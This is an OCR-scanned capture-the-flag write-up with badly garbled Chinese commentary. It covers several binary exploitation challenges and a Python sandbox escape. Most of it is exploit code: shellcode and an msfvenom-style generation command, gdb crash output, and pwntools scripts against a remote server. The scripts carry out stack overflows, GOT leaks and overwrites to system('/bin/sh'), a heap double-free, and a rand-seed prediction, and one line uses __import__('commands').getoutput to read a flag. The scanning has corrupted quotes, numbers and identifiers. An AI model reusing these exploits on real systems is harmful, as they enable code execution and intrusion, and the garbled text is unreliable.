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gdb-peda$ r

Starting program: /usr/iscc/pwnl

C'mon pwn me : AAA%AASAABAA$AANAACAA-

AA(AADAA ; AA) AAEAAQAABGAAFAADAAIAAGAACAA2AAHAADAASAATAAeAAAAATAATAASAAKAAEAAGAALAANAA7 AAMAAIAASAANAAFAASAAOAAK
AAPAAIAAQAAMAARAACAASAAPAATAAGAAUAArAAVAATAAWAAUAAXAAVAAYAAWAAZ AAXAAY AAZ A%J%A%SA%BA%SA%NABCA% - A%

(A%DA% ; A% ) A%EA%aAK%OAK%F A%DA%LA%GAKCA%2A%HA%AA%IA%IA%EA%AAKIA%TA%SA%KA%EA%EA%K

Program received signal SIGSEGV, Segmentation fault.

EAX: ©x41632541 ('A%cA')

EBX: Oxb7fb6000 --> Oxla5da8

ECX: Oxb7fb7884 --> 0x0

EDX: ox1

ESI: oxo

EDI: 0x0

EBP: Oxbffff478 --> 0x0

ESP: Oxbffff45c --> 0x8048607 (mov eax,0x0)

EIP: 0x41632541 ('A%CA')

EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

[mmmmmmm e e s L e 1
Invalid $PC address: 0x41632541
[-mmmmm e stack---------------ome e - 1

0000 | Oxbffff45c --> 0x8048607 (mov eax,0x0)

0004 | oxbffff460 --> 0x80486cl --> Ox1007325

0008 | oxbffff4a64 --> 0x804a060 ("AAA%AASAABAA$AANAACAA-

AA(AADAA ; AA) AAEAAaAARAAFAAbAATAAGAACAA2AAHAACAA3SAATAAeAALAATAATAASAAKAAGAAGAALAARAA7AAMAAL AASAANAAFAAIAAOAAK
AAPAA1AAQAAMAARAAOAASAAPAATAAGAAUAArAAVAALAAWAAUAAXAAVAAYAAWAAZAAXAAYA" . . . )

0012| Oxbffff468 --> 0x804861b (add ebx,0x19b9)

0016| Oxbffff46c --> Oxb7fb6000 --> Oxla5da8

0020 Oxbffff470 --> 0x8048610 (push  ebp)

0024| Oxbffff474 --> 0x0

0028| Oxbffff478 --> 0x0

Legend: code, data, rodata, value

Stopped reason: SIGSEGV
0x41632541 in ?? ()

shellcodef® 7 ZlbssB I, #AJaretiR BRI ] :
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#!/usr/bin/env python
from pwn import *

#p= process('./pwnl')
p=remote('101.200.187.112"',9004)

ret = 0x0804a060
ppr=0x0804866e

buf = ""

buf += "\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x70\x6a\x74\x4b\x62"
buf += "\x78\x5a\x39\x72\x72\x62\x46\x35\x38\x46\x4d\x42\x43"
buf += "\x4b\x39\x69\x77\x43\x58\x56\x4f\x54\x33\x45\x38\x37"
buf += "\x70\x63\x58\x54\x6f\x45\x32\x62\x49\x30\x6e\x4c\x49"
buf += "\x6b\x53\x71\x42\x5a\x48\x73\x38\x75\x50\x47\x70\x43"
buf += "\x30\x74\x6f\x65\x32\x50\x69\x50\x6e\x66\x4f\x54\x33"
buf += "\x32\x48\x43\x30\x42\x77\x56\x33\x6c\x49\x38\x61\x78"
buf += "\x4d\x6f\x70\x41\x41"

payload = buf + "A" * (256 - len(buf)) + p32(ret)
p.recvuntil(":")

p.send(payload)

#pwnlib.gdb.attach(p)

p.interactive()

X BAH AN Eshellcode & T 7 @, 7Eexp-db B T i 2 AN EPATA T &5 7 KIREE A msfAERRIE, 2w
T

msf > use linux/x86/exec

msf payload(exec) > set CMD /bin/sh

CMD => /bin/sh

msf payload(exec) > generate -b '\x00\xff\x0b' -t py
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int edit_sub_400B21()

r
L

int result; // eax@s
int v1; // [sp+4h] [bp-Ch]@1
__int64 v2; /7 [sp+8h] [bp-8h]&@1

printf{"Give me message id :"};
ul = gets_sub_ 4BBBE7();

u2 = quord 6028B0; FF vEmEERTER
while { vi && v2 )
{
u2 = ={ QUORD #*){w2 + 8);
--v1;
¥
if (w2 )
{
printf{"Input message :"};
read(@, (void *)(u2 + 16), Bx78ulLl); 77 ) EENERTE 16T A TR A 12052, HEE Y
result = puts{"Edit successfully?"};
¥
else
{

272 —AMastcall AT & #:4E, i@id i vr i dlcalligét, ERSHSH MRS, FIEXER, 2
iR, FputsHbbbZE &, FTEIHRIVH Zsetbufffthihl, A )5 8 nTiHHatoifisystemitilik, atoiffigotihhil 7 55 3 3k
R5li8%, AFeditFHMEREREBES, REBWT:

from pwn import *
import pwnlib
io=process('./encrypt')
#io=remote('101.200.187.112"',9005)
def create(message):
global io
print io.recvuntil('4. Exit.\n")
io.sendline('1")
print io.recvuntil('Input your message :')
io.sendline(message)
print io.recvuntil('(1.No,2.Xor):")
io.sendline('2")
return
def edit(id,message):
global io
print io.recvuntil('4. Exit.\n')
io.sendline('3")
print io.recvuntil('Give me message id :')
io.sendline(id)
print io.recvuntil('Input message :')
io.sendline(message)
return
def encrypt():
global io
print io.recvuntil('4. Exit.\n")
io.sendline('2")
print io.recvuntil('Give me message id :')
io.sendline('1")
return

def main():
atoi_got=0x602060
b="bbbbbbbbbb*
puts_addr=0x602018
d="x"'*104+p64(0x602018)
create('aaaaaaaaaaaa’)
create('bbbbbbbbbbbb")
edit('1'.d)



encrypt()
io.recvuntil('Encrypting your message...\n')
leak=io.recvuntil('\n").split('\n")[0]
#print leak
leak_addr=leak.ljust(8, '\x00")
print leak_addr
setbuf_addr=u64(leak_addr)
#print addr
elfinfo=ELF('libc.so0.6")
system_offset=elfinfo.symbols["system"]
setbuf_offset=elfinfo.symbols["setbuf"]
system_addr=setbuf_addr+system_offset-setbuf_offset
print "system_addr"+hex(system_addr)
e="y'*104+p64(0x602060)
create('cccc')
create('dddd")
edit('1',e)
edit('1',p64(system_addr))
io.sendline('/bin/sh"')
io.interactive()
return 0

if _name__ == '__main__"':
main()

=.guess

B — NRIEFEE R, Eidread Al B B2 EiEH|seedIE, R J5rand()ME L AT LA T

SEeTDU+(STaouT, BLL);
sethuf{stderr, OLL);
printf{"Input your name : ", BLL};

read{®, &buf, Bx2Cull); /4 bufTA]ex2h, readdSfE Ox2c, T[iEZuld (4FT

printf{"Hello %sin?®", &buf);
srand{seed);

L e e 1 o o S R
puts{”| Welcome to online number guessing game. |"});
puts{"| Win 1688 times and you'll be rewarded I H
puts{"| Range := [1, 168888] [ H
BUL S e e s e e e e e e e e e e "¥s
while { {signed int)vd <= 99 ) |
1
printf{"Round %din", u6};
ull = rand(); F/ vB=8xab6381cc
srand{vi); Ff srand(Bxa6381cc)

printf{"Init random seed 0OK. How guess :"'};
__isoc%9_scanf{4197793LL, &u2);
uly = rand{} % 8x1869Fu + 1;
if ( vh = u2 )
{
puts{"Wrong?! Try again later")};

BT pythonAlicHirand R B A RAHF FE, A8 28I IMER R A S AN e 7 AE AT #2 i rand &,

RIS AN KME, REexph MBI AT flagXft, BT

) seed ([UFT5)

RIERIEguessiEfF



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
int i;
int tmpra;
int tmprb;
int v4;
int out;
int a;
unsigned long int seed;
seed = atol(argv[1l]);
srand(seed);
a=rand();
//printf("rando:%x",a);
out=(a % 99999) +1;
printf("%d,",out);
for(i=0;1<100;i++){
tmpra=rand();
//printf("randl:%x",tmpra);
srand(tmpra);
vd=rand() % 99999 +1;
printf("%d,",v4);




from pwn import *
from time import time

#p=process('./guess")
p=remote('101.200.187.112',9001)
p.recvuntil("name :")
p.send('a'*44+'\n")

#seed=0xa6381cc

#rand=0x44236095

input=
[80545,9914,27550,91153,83664,86214,7887,18283,53174,61984,11639,73445,333,60643,26474,44690, 21086, 28980, 507
1,67909,48736,55050,69515,81978,43669,93038,81153,37315,87517,81474,97252,39090,1696,51171,76214,73536, 80801
,95522,19591,94050,47416,84329,44491,71757,94530,18345,14566,95614,85330,45965,65491,97981,75077,43330,17867
,99610,52953,83200,92236,50106,4908,98370,75042,31289,23534,5741,73297,96930, 96565, 55497, 75901, 69488,9730, 24
451,20904,88186,89446,34242,57487,22677,18298,85854,89419,12111,6258,51648,47335,3800,92937,58647,81683,3831
5,67822,22967,2731,95707,52191,53909,98160,48842,58249]

for i in range(90,100):
p.recvuntil("Now guess :")
p.send(str(input[i])+'\n")

p.interactive()

I9.pyclac

XA FESexp,ncEZET, REMABIMERITRENS, LA TIIENSH, KPlos, open, FitiE

T, NBRMEEESE, —FirfRlevalsidit, RJ5Eopenflagsifl, AMTI T, @iEEEHopenljge, &
FEHERFEIE, FLLEEHITRSE® S 41T, osflsubprocessi & AR SN, commansfefT i AR R iX
Fe: _ import__ (‘commands').getoutput("ls"), __import__ (‘commands').getoutput("cat flag")

Fi..bitshop
idafg Aeditshoppingnote ) 5 77 7E HEvii i, 7 78 25 B SE OBk Y M 3Kk

__int64 note_sub_400DBF ()

{
__int64 ve; // STe8_s8@l

vO = *MK_FP(__FS__, 40LL);

printf("Input shopping note :");

read(0, (char *)qword 602100 + 4, @x78ulLl); // WiEZA120F%
puts("Shopping note recorded!");

return *MK_FP(__FS__, 40LL) "~ ve;



_ 1nTod Snow_SubD_dBuss1( )

{
int i; /7 [sp+4h] [bp-Ch]e@1
__int64 v2; #7 [sp+8h] [bp-8h]@1

u? = *MK_FP{__FS__, 48LL);

printf(“Hello %s\n", 6299872LL); £/ Bx6828e8 3277 7iE HOTHTED 8x6 0210847 4
puts(“Below is the things in your cart: ");

for ( 1 = B; ={_DUWORD =)qword_ 682188 > i; ++i )

{
if ( =(&ptr + i) )
{
printf{"Hame : %syn™, {char =)={&ptr + i) + 12);
printf{"Comment : %syn", *{ OUORD =)=({&ptr + i));
hd
hd
return =MK_FP{__F5_ , 48LL) R

—FF i B4 T, MM dwshootZdoublefree, ¥ I, gdbil TIRAA KILFT MBS LI8E, T 2B
fastbinf R 3, % HEHIAIEERTETMERANFIRE, 8 TFRHEL Tencrypt, Eikatoify ik HsystemE
shell,

from pwn import *
import pwnlib

#io=process('./bitshop')
io=remote('101.200.187.112"',9002)

def add(len,name,content):
global io
print io.recvuntil('Your choice $")
io.sendline('1")
print io.recvuntil('length:")
io.sendline(len)
print io.recvuntil('comment:")
io.sendline(content)
print io.recvuntil('name:")
io.sendline(name)

return

def edit(id,len,content):
global io
print io.recvuntil('Your choice $')
io.sendline('2")
print io.recvuntil(':")
io.sendline(id)
print io.recvuntil(':")
io.sendline(1len)
print io.recvuntil('Input comment :')
io.sendline(content)
return

def edit_note(note):
global io
print io.recvuntil('Your choice $')
io.sendline('4")
print io.recvuntil('note :")
io.sendline(note)
return

def remove(id):
print io.recvuntil('Your choice $')
io.sendline('3")
print io.recvuntil('id :')
io.sendline(id)



return

def view():
print io.recvuntil('Your choice $')
io.sendline('5")
print io.recv()
return

def main():
io.recvuntil('plz input your name:")
io.sendline('a'*33)
print io.recvuntil('Your choice $')
io.sendline('5")
io.recvuntil('a'*32)
leak=io.recvuntil('\n"').split('\n")[0]
leak_addr=1leak.ljust(8, '\x00")

print leak_addr

print hex(u64(leak_addr))

ptr=u64(leak_addr)

print hex(ptr)

atoi_got=0x602088
payloadl="a'*0x5c+p64(0)+p64(0Ox51)+p64(atoi_got)+p64(0x51)

#..0.... leak atoi_got
add('64','a'*10, 'a'*4)
add('64','b'*10, 'b'*4)
remove('1")
remove('0")
#pwnlib.gdb.attach(io)
add('64','c'*10, 'cccc')
edit_note(payloadl)
#pwnlib.gdb.attach(io)
#add('64','d'*10,p64(atoi_got))
view()
io.recvuntil('Comment : ")
atoi=io.recvuntil('\n').split('\n")[0]
print str(atoi)
atoi_add=atoi.ljust(8, '\x00")
atoi_addr=u64(atoi_add)
print atoi_addr

#change got

elfinfo=ELF('libc.so0.6")
system_offset=elfinfo.symbols["system"]
print system_offset
atoi_offset=elfinfo.symbols["atoi"]
print atoi_offset
system_addr=atoi_addr+system_offset-atoi_offset
#pwnlib.gdb.attach(io)

print hex(system_addr)
#pwnlib.gdb.attach(io)
edit('2','32"',p64(system_addr))

io.send('/bin/sh\n")
io.interactive()

if _name__ == '__main__"':

main()

F.library



XANEAE B ThEshell, c++TEFF Hpwniwriteup b, 383 T F k4 zetf pwn500:
http://www.cnblogs.com/wangaohui/p/5211672.html, BAREREKHI A EE, EERLZHELE, LR TEHCKS
Mrid FE A0 B .

add_book®] A @ N BLE Hisize—A>, FrlA 875 &I T —HESk, ABUE ABLAT CAt R libcH ik A e bk, 48
W TT iR

1.3t 5% HlibcHuhtJ5, Bgot, RMgotIFAEES Cuttalk)

2 XRE TR N B i presize, size, fd, bkF| v H 2T — PRI L EEH T — R Fpresizeflisize (X
H % 5 category K/N AR B AT & T —HE Sk Hysizefr, Ti8HT R fev th Blsizefi) , dw-shootEF|H, freemli—
PEEsliEs, RETUMERRBcateMLIERNFIRE, RNHEEREFEHGWHA, L&, H
AHIERENREATIRIE

3Kt E L Hsystemii it B RBE N A F, REBEE L B R TE I8 R Fsystemy bk, A FRA
addbook, removebookZfastcall it %24 Sh#F A Fsystemi& 31, 5 Kexpht iliThhiTsystem, &2 & Eei8 3]
E4fk/bin/sh. Bl & B EERINMH XS, EREFE KM EAMBKIE, X BNSHBRIIARE, ER
CUESHEXT

# -*- coding: utf-8 -*

from pwn import *

import pwnlib
#io=process('./library")
io=remote('101.200.187.112"',9003)

def add_cate(len):
global io
print io.recvuntil('Your option $')
io.sendline('1")
print io.recvuntil('size : ")
io.sendline(len)

return

def add_book(cateid,bookid):
global io
print io.recvuntil('Your option $')
io.sendline('2")
print io.recvuntil(': ')
io.sendline(cateid)
print io.recvuntil(':")
io.sendline(bookid)
return

def get_id(cateid,bookid):
global io
print io.recvuntil('Your option $')
io.sendline('3")
print io.recvuntil(': ')
io.sendline(cateid)
print io.recvuntil(': ')
io.sendline(bookid)
return

def remove_book(cateid):
print io.recvuntil('Your option $')
io.sendline('4")
print io.recvuntil(': ')
io.sendline(cateid)
return

def remove_cate(cateid):


http://www.cnblogs.com/wangaohui/p/5211672.html

def

def

print io.recvuntil('Your option $')
io.sendline('5")

print io.recvuntil(': ")
io.sendline(cateid)

return

reset_cate(cateid,size):

print io.recvuntil('Your option $')
io.sendline('6")

print io.recvuntil(': ")
io.sendline(cateid)

print io.recvuntil(': ")
io.sendline(size)

return

main():

add_cate('9")

add_cate('9")
remove_cate('1l")
reset_cate('e','4")
get_id('e", '1")# VA bRk 5 it Al Hk 52 3 ok R B R
io.recvuntil('Book ID is ')
heada=io.recvuntil('\n")
heada=int (heada)

print heada

get_id('e','2")
io.recvuntil('Book ID is ')
headb=io.recvuntil('\n")
headb=int (headb)

print headb

get_id('@','3"') #show got address
io.recvuntil('Book ID is ')
headc=io.recvuntil('\n")
headc=int(headc)

print headc
headd=headc-0x380
heade=headb-0x80
#pwnlib.gdb.attach(io)
atoi_got=headc-0xc0

add_cate('9")
reset_cate('2','4")
add_cate('9")
add_book('2','0")
add_book('2','0")
add_book('2"','0")
e')
e')

add_book('2",'0"
add_book('2"',"'
add_book('2",'49")
add_book('2"',str(headd))
add_book('2',"'8589934594"') #200000002
add_book('2",str(atoi_got))
get_id('3','0")

io.recvuntil('Book ID is ')

atoiaddr=io.recvuntil('\n")
atoiaddr=int(atoiaddr)
print atoiaddr
#pwnlib.gdb.attach(io)



elt1nto=ELk( /11D/X8b_b4-11NUX-gNU/11lDC.SO0.b )
system_offset=elfinfo.symbols["system"]

print system_offset
atoi_offset=elfinfo.symbols["atoi"]

print atoi_offset
system_addr=atoiaddr+system_offset-atoi_offset
print system_addr

#pwnlib.gdb.attach(io)

#pwnlib.gdb.attach(io)

remove_book('2")
remove_book('2")

add_book('2','4")
add_book('2"',str(heade))
#pwnlib.gdb.attach(io)
add_book('3"',str(system_addr))
add_book('3"',str(system_addr))
add_book('3"',str(system_addr))
add_book('3"',str(system_addr))
remove_book('2")
remove_book('2")
remove_book('2")
add_book('2"',str(heade))
add_book('2',' 12884901892 ')
add_book('2'," 29400045130965551"')#/bin/sh

add_book('3',' 29400045130965551 ')
#pwnlib.gdb.attach(io)

io.interactive()
return ©

if _name__ == '__main__"':

main()

8, F https://www.cnblogs.com/Joe-Z/p/5528762.htm
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